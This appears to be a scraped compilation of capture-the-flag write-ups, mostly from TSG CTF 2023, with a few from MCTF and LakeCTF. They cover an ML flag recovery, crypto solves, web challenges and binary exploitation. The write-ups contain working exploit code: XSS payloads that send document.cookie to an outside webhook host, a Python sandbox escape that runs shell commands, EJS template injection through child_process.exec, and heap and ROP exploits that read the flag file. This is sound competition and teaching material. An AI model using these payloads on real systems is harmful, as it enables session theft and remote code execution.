def tokenize(text: str): return torch.LongTensor([CHARS.index(c) for c in text]).unsqueeze(0)
class PositionalEncoding(nn.Module): def __init__(self, d_model: int, max_len: int = 5000): super().__init__() position = torch.arange(max_len).unsqueeze(1) div_term = torch.exp(torch.arange(0, d_model, 2) * (-math.log(10000.0) / d_model)) pe = torch.zeros(1, max_len, d_model) pe[0, :, 0::2] = torch.sin(position * div_term) pe[0, :, 1::2] = torch.cos(position * div_term) self.register_buffer('pe', pe)
def forward(self, x: Tensor) -> Tensor: """ Arguments: x: Tensor, shape ``[batch_size, seq_len, embedding_dim]`` """ x = x + self.pe[:, :x.size(1)] return x
g = []w = 0
class TransformerModel(nn.Module): def __init__(self): super().__init__() self.embedding = nn.Embedding(len(CHARS), 256) self.pos_encoder = PositionalEncoding(256, max_len=FLAG_LEN+2) self.key_mlp = nn.Sequential(nn.Linear(256, 256), nn.ReLU(), nn.Linear(256, 256)) self.query_mlp = nn.Sequential(nn.Linear(256, 256), nn.ReLU(), nn.Linear(256, 256)) self.value_mlp = nn.Sequential(nn.Linear(256, 256), nn.ReLU(), nn.Linear(256, 256)) self.ff = nn.Linear(256, 1) def forward(self, x: Tensor): global g assert x.size(0) == 1, "batchsize must be 1" assert x.size(1) == FLAG_LEN+2, f"sequence size must be {(FLAG_LEN+2)}, given {x.size(1)}" h = self.embedding(x) h = self.pos_encoder(h) k = self.key_mlp(h) q = self.query_mlp(h) v = self.value_mlp(h) y = F.scaled_dot_product_attention(q, k, v, scale=100) y = y.max(1).values g.append(float(y[0][w])) y = self.ff(y) return y.sigmoid()
def sanity_check(text): global FLAG_CHARS assert text[:7] == "TSGCTF{" assert text[-1:] == "}" assert all([t in FLAG_CHARS for t in text])
model = TransformerModel()model.load_state_dict(torch.load("/content/model.pth"))
text = "TSGCTF{01234567890123456789012345678901234}"text_list = list(text)for i in range(7, 7+35): g = [] w = i + 1 for c in FLAG_CHARS: text_list[i] = c text = "".join(text_list) token = tokenize("^" + text + "$") model(token) for j, x in enumerate(g): if x > 0: text_list[i] = FLAG_CHARS[j] print(i, "".join(text_list))```
Flag: `TSGCTF{You-aRe-n0w-AW4rd3D-thE-NOBel-prizE}` |
# TSG CTF 2023 - web/absurdres
- 2 solves / 470 pts- Author: hakatashi
This flask app has an upload future.
The file extension is not checked, so you can use it to inject payload.
```[email protected]('/image', methods=['POST'])def post_image(): image = request.files.get('image') if image is None: return 'no image', 400
filename, *_, extension = os.path.basename(image.filename).split('.') if any(c not in ascii_lowercase for c in filename): return 'invalid filename', 400
image_data = image.read() image_x2 = Image.open(BytesIO(image_data)) image_x1 = image_x2.resize((image_x2.width // 2, image_x2.height // 2))
image_id = md5(image_data).hexdigest()
db.images.insert_one({ 'image_id': image_id, 'files': [ { 'path': f'images/{filename}.x2.{extension}', 'title': image.filename, 'zoom': 2, }, { 'path': f'images/{filename}.x1.{extension}', 'title': image.filename, 'zoom': None, }, ], })
image_x1.save(f'{static_dir}/images/{filename}.x1.{extension}') image_x2.save(f'{static_dir}/images/{filename}.x2.{extension}')
return redirect(url_for('get_image', image_id=image_id))
```
If you upload `file.xxx`, the app returns 500 due to `PIL` library error.However, `db.images.insert_one` is called before getting error, so the metadata is successfully stored.
On the other hand, this app replaces `` response contains to ``.
```[email protected]_requestdef after_request(response): response.direct_passthrough = False
data = response.get_data() response.data = re.sub(b'!\\[(.*?)\\]\\((.+?)\\)', replace_img, data)
return response```
You need a XSS to get flag.
At `/image/<image_id>`, the app renders a json into nonced `<script>`. This is useful to bypass CSP.
```html <script nonce="{{csp_nonce()}}"> const files = {{files|json|safe}};```
For example, suppose you upload an image with the following filename.
```hoge..x```
The app renders it on `/image/<image_id>` as following:
```javascriptconst files = [{"path": "images/hoge.x2.x", "title": "hoge..x", "zoom": 2}, {"path": "images/hoge.x1.x", "title": "hoge..x", "zoom": null}];```
The syntax of the code above is invalid, so the browser occurs an error.
So, you need to craft valid javascript code carefully through the filename.
I made this payload:
```hoge..x+alert(1)+"+```
The app renders it as following:
```javascriptconst files = [{"path": "images/hoge.x2.x+alert(1)+\"+", "title": "hoge..x+alert(1)+\"+", "zoom": 2}, {"path": "images/hoge.x1.x+alert(1)+\"+", "title": "hoge..x+alert(1)+\"+", "zoom": null}];```
The syntax of the code above is valid, but there is some undefined variables: `assets`, `images`, `hoge.x2.x`.
Due to undefined variables, the browser still occurs an error.
To resolve this problem, DOM Clobbering is useful.
Because `"string" / AnyType` is evaluated as `NaN`, by defining `assets`, `image`, `hoge.x2.x` with DOM Clobbering, the browser executes the script successfully.
Finally, I wrote this payload:
```hoge..x+[location=`\\x2f\\x2fwebhook\\x2eexample\\x2ecom\\x2f?`+document[`cookie`]]+"+`<form id=hoge><form id=hoge name=x2><input name=x value=clobbered>`+```
By uploading an image with that payload and report `/image/<image_id>` to bot, you can receive the flag.
## Exploit
```pythonimport requestsimport osfrom hashlib import md5
url = "http://34.84.176.251:55416"# url = "http://localhost:55416"
filename = 'hoge..x+[location=`\\x2f\\x2fwebhook\\x2eexample\\x2ecom\\x2f?`+document[`cookie`]]+"+`<form id=hoge><form id=hoge name=x2><input name=x value=clobbered>`+'content = open("example.png", "rb").read() + os.urandom(8)
image_id = md5(content).hexdigest()
files = { 'image': (filename, content, "image/png")}
res = requests.post(f"{url}/image", files = files)
print(image_id) # report it```
## Flag
```TSGCTF{1girl, hacker, in front of computer, hooded, in dark room, table, sitting, keyboard, 8k wallpaper, highly detailed, absurdres}``` |
# Complicated Function
[Video](https://www.youtube.com/live/9IUsP3CBwZc?si=qW7hPpInPMRE6ovD&t=911)
Experiments show that `D = f(p)-p` is a fixed value.we can perform prime factorization by solving the equation `x*(x+D)=N`.
```pyfrom Crypto.Util.number import *
x = var('x')D = 6703903964971298549787012499102923063739682910296196688861780721860882015036773488400937149083451713845015929093243025426876941405973284973216824503042044 + 2**1023N = 36517404305297844159564250986998364545749151568667732337564141796428285198409567155495468780386611544242689580089026301007867731616501462571857014948329304677585682534513311931280592743677919741211277066420279973665839898693462080087384474270473468411814863104608060945012301810206919347219744349831947632420533489933798065496290612931089442978868423837068735855183319271953531607892676482508704408482509645764820088854762889436761417245871075875762331247987854763068633058894469255779600684845456979405817748289218533715177711802661303055514957438072072036882111277967476497338901040854808789173453802590826788192053c = 10955441460830702971387335888341162305090757526159743008807609823673521696863955454033040842132899414049783504960968117620860408142538216669369693386110678382112863315608217382774969191050306778748875856817288367369848881561750362221050586276876239956129985854245190619132772579774800480316624847309710595491090120189333272498817039509311650265968036568364234815921263181086438290844976279974023236010641698308664245573159698211860696725554580817928576304048869309097043078452170158082597167199813821750238244173483019805092246803337196768846732908994751887507198151471659940647272634351206676375579258509003076141110p = solve(x*(x+D) == N, x)[0].rhs()q = p+De = 65537phi = (p-1)*(q-1)d = pow(e,-1,phi)print(long_to_bytes(int(pow(c, d, N))))``` |
# TSG CTF 2023 - pwn/bypy
- 4 solves / 393 pts- Author: moratorium08
CPython has out-of-bounds read on LOAD_FAST, so you can get `exec` function through it.
You can also get `src` variable that you sent as a payload encoded base64.
`base64.b64decode` function ignores non-base64 character, so you can hide the python code into your base64 payload.
I made bytecode that execute `exec(src)` to get shell.
## Exploit
```pythonfrom opcode import opmap, cmp_op, _nb_opsimport disimport typesimport osimport sysimport marshalfrom base64 import b64encode, b64decode
code = b""code += bytes([opmap["LOAD_FAST"], 18]) # "src" variablecode += bytes([opmap["LOAD_FAST"], 51]) # exec functioncode += bytes([opmap["LOAD_FAST"], 18]) # "src" variablecode += bytes([opmap["CALL"], 0]) + bytes([0] * 6) # I don't know why this works wellcode += bytes([opmap["RETURN_VALUE"], 0])
# print(code, file=sys.stderr)
codeobj = types.CodeType(0, 0, 0, 0, 0, 0, code, (), (), (), '', '', '', 0, b'', b'', (), ())
encoded = b64encode(marshal.dumps(codeobj)).decode()
for i in range(4): try: code = "\"" + encoded + "\";print(__loader__.exec_module.__globals__['sys'].modules['os'].system('cat flag*'));#" + "A" * i b64decode(code.encode()) except Exception as e: print(e) continue print(code)
# "4wAAAAAAAAAAAAAAAAAAAAAAAAAA8xAAAAB8EnwzfBKrAAAAAAAAAAAAqQByAgAAAHICAAAA8wAAAADaAHIEAAAAcgQAAAAAAAAAcgMAAAByAwAAAA==";print(__loader__.exec_module.__globals__['sys'].modules['os'].system('cat flag*'));#```
```$ nc 34.146.195.242 40003Give me your source:"4wAAAAAAAAAAAAAAAAAAAAAAAAAA8xAAAAB8EnwzfBKrAAAAAAAAAAAAqQByAgAAAHICAAAA8wAAAADaAHIEAAAAcgQAAAAAAAAAcgMAAAByAwAAAA==";print(__loader__.exec_module.__globals__['sys'].modules['os'].system('cat flag*'));#TSGCTF{our_caffeine_knight_slays_python_bytes}0Traceback (most recent call last): File "/home/user/executor.py", line 49, in <module> File "/home/user/executor.py", line 46, in mainSystemError: error return without exception set```
## Flag
```TSGCTF{our_caffeine_knight_slays_python_bytes}``` |
Here is exploit for this chal
```from pwn import args, ELF, process, remote, gdb, context, ROP, cyclic, re
PATH = "./reality"IP = 'mctf.ru'PORT = 28888elf = context.binary = ELF(PATH, checksec=False)GDBSCRIPT = '''b *clickitc'''
def conn(): if args.GDB: return gdb.debug(PATH, gdbscript=GDBSCRIPT) elif args.REMOTE: return remote(IP, PORT) elif args.LOCAL: pty = process.PTY return process(PATH, stdin=pty, stdout=pty)
def main(): r = conn()
rop = ROP(elf)
rop.one() rop.two(322) rop.three(0xdeadbeef, 0x0000ffff, 123) rop.clickit()
payload = cyclic(44) payload += rop.chain() r.recvline() r.sendline(payload)
# for debug purpose # print(rop.dump())
r.recvuntil(f"this? ") r.sendline(b"128959393") # print(r.recvall()) print(re.search("(MCTF{.*})", r.recvall().decode()).group(1))
if __name__ == '__main__': main()``` |
# Learning with Exploitation
[Video](https://www.youtube.com/live/9IUsP3CBwZc?si=yXL4Iytu9eUj8rcs&t=2142)
This problem can be solved by solving r.Since there are not enough columns in A, we use LLL to find r.
r can be derived by constructing a matrix that can be solved by SVP using the following 2 formulas and finding LLL.```r*A - U mod p = 0r is small```
```pyfrom sage.stats.distributions.discrete_gaussian_integer import DiscreteGaussianDistributionIntegerSamplerfrom sage.crypto.lwe import LWE, samplesfrom sage.misc.prandom import randrangefrom params import *from Crypto.Util.number import *
p = 0xfffffffffffffffffffffffffffffffeffffffffffffffffF = GF(p)d = 100n = 10q = int(p // (2 ** 64))D = DiscreteGaussianDistributionIntegerSampler(q // d // 6) # six sigma
A, T = public_keyA = matrix(GF(p), A)T = vector(GF(p), T)# print(A)
for i in range(8): U, v = ciphertext[i]
mat = [] for i in range(A.ncols()): ps = [0]*10 ps[i]=p mat.append(list(A.column(i)) + [-U[i]] + ps) for i in range(100): vec = [0]*101 + [0]*10 vec[i] = 2 vec[-11] = -1 mat.append(vec) mat = matrix(ZZ, mat).transpose()
lll = mat.LLL() # print(lll[1])
rr = [] for l in lll[1][10:]: rr.append(1 if l == 1 else 0) rr = vector(rr) # print(rr) print(long_to_bytes(int((v - rr*T)//q)))
rr = [] for l in lll[1][10:]: rr.append(0 if l == 1 else 1) rr = vector(rr) # print(rr) print(long_to_bytes(int((v - rr*T)//q)))``` |
```#coding:ascii-8bitrequire "pwnlib" # https://github.com/Charo-IT/pwnlib
class PwnTube def recv_until_prompt recv_until("$ ") endend
class Exploit attr_reader :tube, :host, :port attr_reader :offset, :got, :libc_offset
def initialize(remote) @remote = remote if remote? @host, @port = "34.146.195.242 31415".split else @host = "localhost" @port = 11111 end @port = @port&.to_i @libc_offset = { "main_arena" => 0x1f6c80, "_IO_wfile_jumps" => 0x1f3240, "system" => 0x4ebf0, "stdout" => 0x1f7780, }
@offset = { }
@got = { } end
def remote? @remote end
def mkdir(name) tube.recv_until_prompt tube.sendline("mkdir #{name}") end
def touch(name) tube.recv_until_prompt tube.sendline("touch #{name}") end
def cd(name) tube.recv_until_prompt tube.sendline("cd #{name}") end
def rm(name) tube.recv_until_prompt tube.sendline("rm #{name}") end
def ls tube.recv_until_prompt tube.sendline("ls") end
def cat(name) tube.recv_until_prompt tube.sendline("cat #{name}") end
def mod(name, data) tube.recv_until_prompt tube.sendline("mod #{name}") tube.recv_until("Write Here > ") tube.sendline(data) end
def run PwnTube.open(host, port){|t| @tube = t
puts "[*] leak heap base" mkdir("dir1") cd("dir1") touch("file1") mkdir("dir2") cd("/dir1/dir2") # add /dir1/dir2 to cache cd("..") cd("..") rm("dir1") cd("/dir1/dir2") # cd to /dir1/dir2 via cache cd("..") # we can cd to dir1... cat("file1") # ... and read/write its files heap_base = tube.recv_capture(/(.{5})\n/m)[0].ljust(16, "\0").unpack("Q")[0] << 12 puts "heap base = 0x%x" % heap_base
puts "[*] get tcache control" cd("dir2") touch("file2") touch("file3") rm("file3") rm("file2") cd("..") mod("file2", [(heap_base + 0x30) ^ ((heap_base + 0x700) >> 12)].pack("Q")) cd("..") touch("file4") touch("tcache")
puts "[*] leak libc base" mkdir("dir3") cd("dir3") mkdir("dir4") cd("/dir3/dir4") cd("..") touch("file5") # victim cd("..") touch("file6") touch("file7") touch("file8") touch("file9") payload = "" payload << [0, 1, 0, 0].pack("S*") payload << "\0" * 0xe0 payload << [heap_base + 0xfe0].pack("Q") mod("tcache", payload) touch("victimsize") mod("victimsize", [0, 0x4c1].pack("Q*")) rm("dir3") cd("/dir3/dir4") cd("..") cat("file5") libc_base = tube.recv_capture(/(.{6})\n/m)[0].ljust(8, "\0").unpack("Q")[0] - libc_offset["main_arena"] - 0x60 puts "libc base = 0x%x" % libc_base
puts "[*] prepare for fsop" cd("..") payload = "".ljust(0xe8, "\0").tap{|a| a[0, 8] = " sh".ljust(8, "\0") a[0x28, 8] = [1].pack("Q") a[0x68, 8] = [libc_base + libc_offset["system"]].pack("Q") a[0xa0, 8] = [heap_base + 0x1120].pack("Q") a[0xd8, 8] = [libc_base + libc_offset["_IO_wfile_jumps"]].pack("Q") a[0xe0, 8] = [heap_base + 0x1120].pack("Q") } mod("file6", payload)
puts "[*] overwrite stderr->_chain" payload = "" payload << [0, 1, 0, 0].pack("S*") payload << "\0" * 0xe0 payload << [libc_base + libc_offset["stdout"] + 0x60].pack("Q") mod("tcache", payload) touch("fsop") mod("fsop", [0, heap_base + 0x1120].pack("Q*"))
puts "[*] launch shell" tube.recv_until_prompt tube.sendline("exit")
tube.interactive } endend
Exploit.new(ARGV[0] == "r").run``` |
# TSG CTF 2023 - web/Upside-down cake
- 127 solves / 100 pts- Author: hakatashi
You need to send a palindrome with `> 1000` characters to solve this challenge, but request body size is limited by nginx.
I solved this challenge by sending a crafted JSON like the following.
```JSON{"palindrome": {"length": "1000", "0": "", "999": ""}}```
See the explaination below for how the payload works.
```javascriptconst validatePalindrome = (string) => { // "1000" < 1000 is true if (string.length < 1000) { return 'too short'; }
// Array("1000") is ["1000"] for (const i of Array(string.length).keys()) { const original = string[i]; // i=0 const reverse = string[string.length - i - 1]; // "1000" - 0 - 1 is 999
if (original !== reverse || typeof original !== 'string') { return 'not palindrome'; } }
return null;}```
## Exploit
```pythonimport requests
url = "http://34.84.176.251:12349/"
payload = {"palindrome": {"length": "1000", "0": "", "999": ""}}
res = requests.post(url, json=payload)
print(res.text)```
```$ py solve.pyI love you! Flag is TSGCTF{pilchards_are_gazing_stars_which_are_very_far_away}```
## Flag
```TSGCTF{pilchards_are_gazing_stars_which_are_very_far_away}``` |
**Bugs**
Bug 1: When choosing difficulty, we can overwrite `state.spawn_off` by sending exact 63 bytes.```c// *** Step 2. Load the stage ***printf("DIFFICULTY? (easy/hard)\n");int i;for (i = 0; i < 63; i++) { char c = fgetc(stdin); if (c == '\n') break; if (c == '/' || c == '~') return 1; // no path traversal state.stage_name[i] = c;}strcpy(&state.stage_name[i], ".y"); // <- this will overwrite state.spawn_off when i == 63```
Bug 2: In `step_game`, there is no boundary check on nx, ny, nnx, and nny.```cint nx = x + dx, ny = y + dy; // next position <- what happens if nx < 0 or nx >= STAGE_W ?if (state.stage[ny][nx] & to_bitset(state.is_stop)) continue;if (state.stage[ny][nx] & to_bitset(state.is_win)) win();
int nnx = x + 2 * dx, nny = y + 2 * dy;unsigned short push = state.stage[ny][nx] & to_bitset(state.is_push);move(&state.stage[ny][nx], &state.stage[nny][nnx], push);move(&state.stage[y][x], &state.stage[ny][nx], you);state.should_update[ny][nx] = 0;```
**Exploit**
```ruby#coding:ascii-8bitrequire "pwnlib"
class PwnTube def recv_until_prompt recv_until("> ") endend
class Exploit attr_reader :tube, :host, :port attr_reader :offset, :got, :libc_offset
def initialize(remote) @remote = remote if remote? @host, @port = "34.146.195.242 10906".split else @host = "localhost" @port = 11111 end @port = @port&.to_i @libc_offset = { }
@offset = { }
@got = { } end
def remote? @remote end
def run PwnTube.open(host, port){|t| @tube = t
tube.recv_until("DIFFICULTY? (easy/hard)\n") tube.send("hard.y\0".ljust(63, "\0"))
tube.recv_until_prompt tube.sendline("wdddddddssssssassssssaaaa") tube.recv_until_prompt tube.sendline("asdddddwds") tube.recv_until_prompt tube.sendline("ssddddssssssaaassssssawsaaaaddddddwddssddswwd")
tube.interactive } endend
Exploit.new(ARGV[0] == "r").run``` |
# TSG CTF 2023 - web/#DANCE
- 17 solves / 221 pts- Author: jiei_univ
`openssl_decrypt`:
> **Caution** The length of the tag is not checked by the function. It is the caller's responsibility to ensure that the length of the tag matches the length of the tag retrieved when openssl_encrypt() has been called. Otherwise the decryption may succeed if the given tag only matches the start of the proper tag.>> https://www.php.net/manual/en/function.openssl-decrypt.php
This challenge does not check the length of the tag in AES-GCM.
You can do a brute-force attack:
- FYI (Japanese): https://www.mbsd.jp/research/20200901/aes-gcm/
## Exploit
```pythonimport httpximport base64import urllib.parse
# BASE_URL = "http://localhost:8080"BASE_URL = "http://34.84.176.251:8080"
res = httpx.post( BASE_URL, data={ "auth": "guest", },)assert res.status_code == 302
guest_auth = urllib.parse.unquote(res.cookies["auth"])iv = urllib.parse.unquote(res.cookies["iv"])tag = urllib.parse.unquote(res.cookies["tag"])
def xor(xs: bytes, ys: bytes) -> bytes: return bytes([x ^ y for x, y in zip(xs, ys)])
admin_auth = base64.b64encode( xor(base64.b64decode(guest_auth), xor(b"guest", b"admin"))).decode()
for i in range(256): tag2 = base64.b64encode(bytes([i])).decode() res = httpx.get( f"{BASE_URL}/mypage.php", cookies={ "auth": admin_auth, "iv": iv, "tag": tag2, }, ) if "TSGCTF{" in res.text: print(res.text) break```
```html$ python exploit.py
<html> <head>
</head> <body> Hello admin! Password is here.TSGCTF{Deadlock_has_been_broken_with_Authentication_bypass!_Now,_repair_website_to_reject_rewritten_CookiE.} </body></html>```
## Flag
```TSGCTF{Deadlock_has_been_broken_with_Authentication_bypass!_Now,_repair_website_to_reject_rewritten_CookiE.}``` |
# Streamer
[video](https://www.youtube.com/live/9IUsP3CBwZc?si=nZ_dmdkSEilRAF7_&t=1128)
As a first "TSGCTF{" and "==} " to recover a portion of the key.I restored the key one character at a time so that the flags are natural While being aware of the flag patterns and Base64 character types.When there were only 3 bytes left, I used brute force to identify the flag.
```pyimport secretsimport hashlibimport base64import reimport stringimport sys
pattern = re.compile("[a-zA-Z0-9!-/:-?\[-`|~]+")
def check(flag): return pattern.fullmatch(flag[7:-26])
key_stream = [247, 176, 17, 0, 156, 72, 203, 232, 13, 179, -1, -1, -1, 41, 241, 70]cipher = [163, 227, 86, 67, 200, 14, 176, 188, 101, 214, 117, 82, 99, 71, 199, 117, 139, 130, 78, 43, 224, 101, 183, 219, 82, 213, 70, 95, 101, 118, 133, 46, 146, 239, 98, 97, 250, 123, 183, 218, 82, 218, 1, 97, 62, 29, 145, 105, 168, 136, 116, 95, 253, 59, 148, 132, 98, 207, 118, 66, 52, 118, 197, 98, 168, 201, 126, 117, 195, 61, 184, 141, 82, 210, 86, 98, 47, 118, 144, 58, 221, 192, 99, 48, 224, 98, 185, 129, 108, 152, 25, 97, 96, 85, 173, 58, 148, 194, 104, 124, 182, 99, 162, 216, 99, 157, 117, 106, 59, 64, 213, 25, 148, 217, 109, 42, 224, 101, 183, 219, 127, 236, 67, 26, 12, 29, 174, 118, 153, 213, 78, 43, 245, 52, 151, 199, 113, 214, 117, 66, 121, 72, 141, 111, 168, 194, 112, 43, 244, 123, 183, 218, 82, 199, 86, 19, 47, 29, 141, 26, 139, 239, 112, 95, 239, 99, 185, 141, 57, 222, 117, 22, 58, 89, 153, 117, 133, 156, 78, 98, 233, 60, 148, 129, 121, 236, 67, 26, 12, 64, 159, 53, 196, 152, 100, 124, 174, 45, 148, 138, 104, 155, 75, 75, 32, 76, 174, 47, 131, 239, 100, 115, 175, 59, 148, 156, 101, 214, 117, 26, 103, 85, 173, 105, 139, 213, 78, 114, 168, 38, 175, 135, 96, 236, 68, 75, 62, 17, 194, 52, 211, 239, 99, 101, 224, 98, 248, 220, 38, 128, 86, 23, 63, 80, 223, 25, 146, 222, 123, 111, 229, 23, 163, 137, 101, 210, 66, 95, 12, 19, 220, 111, 218, 138, 56, 45, 166, 97, 139, 188, 90, 195, 28, 77, 2, 113, 152, 34, 165, 252, 88, 67, 250, 44, 163, 167, 64, 234, 1, 119, 18, 20, 204, 59]
# print(cipher[-3] ^ ord("="))
target = 10for t in range(256): print(t, file=sys.stderr) for k in range(256): for j in range(256): key_stream[target] = j key_stream[target+1] = k key_stream[target+2] = t
encrypted_flags = [] flag = [] isOk = True
for i in range(len(cipher)): index = i%16 if index < len(key_stream): if key_stream[i%16] != -1: value = cipher[i]^key_stream[i%16] else: value = ord("0") if value not in string.printable.encode(): isOk = False break flag.append(chr(value)) else: flag.append("0") flag = "".join(flag) if isOk and check(flag): flag_content = flag[7:-26].encode() flag_hash = hashlib.md5(flag_content).digest() hoge = b"TSGCTF{"+flag_content+b"@"+base64.b64encode(flag_hash)+b"}" if hoge.decode() == flag: print(hoge)``` |
CSP nonceで制限されているXSS問。レスポンスに含まれている `` が `` に変換されるフィルターが存在する。アップロードしたファイルを閲覧する画面で、script内に `` を埋め込むことでエラーを出さないようにパズルをしながら関数を実行する。
```html <script nonce="{{csp_nonce()}}"> const files = {{files|json|safe}};```
その他、パズルに必要な要素がいっぱい出てくるがざっと列挙してみるとこんな感じ。
- script内に埋め込めるものとしては画像ファイルのファイル名とその拡張子- ファイル名部分に使える文字はアルファベットのみなので、 `![]().png` のようなファイル名はエラーとなるが、 `/` の前と `.` と `.` の間はなんでもOK `XXXX/FILENAME.XXXX.XXXX` の `XXXX` の部分にペイロード突っ込めるのでまあまあ自由度はある- ガチャガチャやってると最後に `/assets/images/FILENAME.x2.png` がJavaScriptとして評価されるので邪魔してくる。DOM Clobberingでこれがエラーとならないように対策する。- アップロードファイルの拡張子がpngやjpgでないとPILによって怒られるため、拡張子に攻撃ペイロードを埋め込むことはできなさそうに見えるが、PILに怒られる前にDBにはレコードが登録されているので画像の閲覧画面には遷移できる。アップロードしたファイルのIDはコンテンツのmd5なので推測可能。
最終的に以下のファイル名のファイルを作ると動作する。
```testx.)bbb+document['cookie'])}<input id=x2>";```
ファイル名に `"` とか入っているが、 `filename*=utf-8''[URL encoded filename]` でOK
```Content-Disposition: form-data; name="image"; filename*=utf-8''testx.%29bbb!%5b%2f%2ftest.%5d%28.png%7d%5d%3b%22%22%3b%20id%3dassets%20%3b%20name%3dimages%20%60%3b%22%3cform%20id%3dtest%3e%24%7blocation%3d%28atob%28%27Ly9tb2Nvcy5raXRjaGVuOjEyMzQ1Lw%27%29%2bdocument%5b%27cookie%27%5d%29%7d%3cinput%20id%3dx2%3e%22%3bContent-Type: image/png```
FLAG: `TSGCTF{1girl, hacker, in front of computer, hooded, in dark room, table, sitting, keyboard, 8k wallpaper, highly detailed, absurdres}`
`navigator.sendBeacon(...)` でFLAGをleakさせようとしていたのだけど、なぜか手元のChromeでは動作してAdmin botではうまく行かなかった...普通に `location=...` でFLAG飛ばせば動作した。終了直前に取り組んだため、手元に環境を用意する暇もなく、もっと早く取り組んでおけばと反省した問題。 |
# Catalog (easy) - Web Exploitation`author : ardhani`
```nodeError: /app/views/cat.ejs:21 19| </div> 20| <div> >> 21| <%- include('descriptions/' + description) %> 22| </div> 23| </div> 24| </main>
Could not find the include file "descriptions/asd" at getIncludePath (/app/node_modules/ejs/lib/ejs.js:185:13) at includeFile (/app/node_modules/ejs/lib/ejs.js:311:19) at include (/app/node_modules/ejs/lib/ejs.js:701:16) at eval ("/app/views/cat.ejs":24:17) at cat (/app/node_modules/ejs/lib/ejs.js:703:17) at tryHandleCache (/app/node_modules/ejs/lib/ejs.js:274:36) at exports.renderFile [as engine] (/app/node_modules/ejs/lib/ejs.js:491:10) at View.render (/app/node_modules/express/lib/view.js:135:8) at tryRender (/app/node_modules/express/lib/application.js:657:10) at Function.render (/app/node_modules/express/lib/application.js:609:3)```
so we can input this payload `<%= function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('COMMAND_HERE')}() %>` |
## Not Malloc
was a pwn challenge from LakeCTF Quals 2023.
Basically, we can say that it was an heap challenge but with a custom allocator, full of bugs, like an old dog full of fleas..
Here is a short write-ups to explain the exploitation.
In this custom allocator data & metadata were separated.
You can allocate as much data that you want for heap at startup, with a minimum of 0x4000 bytes.
I quickly spot that you can have a overflow in `metadata_heap`, when you allocate a chunk bigger than data size.
In the docker, the `heap` & `metada_heap` are allocated just before tls-storage (which is just before libc), so we can also have an overflow in tls-storage.
When you free a chunk, the allocator leaves a metada address in `metadata_heap`..
So our plan for exploitation is simple:
- we first ask for an heap size of 0x4000 bytes (the minimum)
- then we allocate 3 chunks, two smalls, and a big one that overflow metadata_heap
- then we free the small chunks, that will leave an metada_heap address in our big chunk.
- then we leak this metadata_heap address by displaying big chunk, and calculate `libc` base and `tls-storage` address with it, as they are mapped just next to our region.
- then we create another chunk that will overflow `tls-storage`, where we will stack pivot, and execute a ROP to dump the flag
I used method number #5:
[https://github.com/nobodyisnobody/docs/tree/main/code.execution.on.last.libc#5---code-execution-via-tls-storage-dtor_list-overwrite](https://github.com/nobodyisnobody/docs/tree/main/code.execution.on.last.libc#5---code-execution-via-tls-storage-dtor_list-overwrite)
We will get code execution by creating a fake dtor_list structure in tls-storage as explain in my doc above.
And that's all :)
here is the exploit commented:
```python#!/usr/bin/env python# -*- coding: utf-8 -*-import psutilfrom pwn import *
context.update(arch="amd64", os="linux")context.log_level = 'info'
# shortcutsdef logbase(): log.info("libc base = %#x" % libc.address)def logleak(name, val): log.info(name+" = %#x" % val)def sa(delim,data): return p.sendafter(delim,data)def sla(delim,line): return p.sendlineafter(delim,line)def sl(line): return p.sendline(line)def rcu(d1, d2=0): p.recvuntil(d1, drop=True) # return data between d1 and d2 if (d2): return p.recvuntil(d2,drop=True)
exe = ELF('./chal')libc = ELF('./libc.so.6')
if args.REMOTE: host, port = "chall.polygl0ts.ch", "9004"else: host, port = "127.0.0.1", "5000"
p = remote(host,port)
def create(idx,data,size=0): sla('> ','1') sla('index > ', str(idx)) if (size==0): size = len(data)+1 sla('size > ', str(size)) sla('content > ', data)
def show(idx): sla('> ','2') sla('index > ', str(idx))
def free(idx): sla('> ','3') sla('index > ', str(idx))
sla('HEAP SIZE > ', '4000')sla('> ', '2')
create(0,'A')create(1,'B')
payload = b'C'*8096payload += b'0'*0x20+ (p64(0)+p64(0x20)+p64(0)*2)*2payload += p64(0)+p64(0x4000)+p64(1)+p64(0)create(2,payload)# free bins to leave a meatadata_heap address in memoryfree(1)free(0)# leak metadata_heap entry addressshow(2)meta = u64(rcu(b'0'*0x20,b'\n').ljust(8,b'\x00'))-0x40# calculate tls-storage addresstls = meta+0x4740libc.address = tls+0x28c0logbase()logleak('metadata_heap', meta)logleak('tls',tls)
rop = ROP(libc)pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]pop_rdx = rop.find_gadget(['pop rdx','pop r12', 'ret'])[0]pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]syscall = rop.find_gadget(['syscall', 'ret'])[0]
xchg_edi_eax = libc.address+0x000000000014a385 # xchg edi, eax ; retxchg_edx_eax = libc.address+0x00000000000cea5a # xchg edx, eax ; ret
# we gonna overflow and forge a fake dtor_list in tls-storage# as explained there: https://github.com/nobodyisnobody/docs/tree/main/code.execution.on.last.libc#5---code-execution-via-tls-storage-dtor_list-overwrite#payload = b'O'*17936payload += p64(tls+0x21ce40)+p64(tls+0x224c00)+p64(0)+p64(tls+0x1c0d80)+p64(tls+0x1c1380)+p64(tls+0x1c1c80)# pivot on tls and jump over payload += p64(0)+p64(tls-0x50)+p64((libc.address+0x00000000000562ec)<<17)+p64(libc.address+0x0000000000114886)payload += p64(0)*8# --payload += p64(tls)+p64(tls+0xa20)+p64(tls)payload += b'/app/flag'.ljust(0x20,b'\x00')# our ROP start here# fd = open('/app/flag',O_RDONLY)payload += p64(pop_rdi)+p64(tls+0x18)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall)# size = read(fd, tls-0x200, 128)payload += p64(xchg_edi_eax)+p64(pop_rsi)+p64(tls-0x200)+p64(pop_rdx)+p64(128)*2+p64(libc.sym['read'])# write(1, tls-0x200, size)payload += p64(xchg_edx_eax) + p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(tls-0x200)+p64(libc.sym['write'])# overflow tls-storagecreate(2,payload)# jump to our payloadsla('> ', '4')
p.interactive()```
**nobodyisnobody still hacking something...** |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.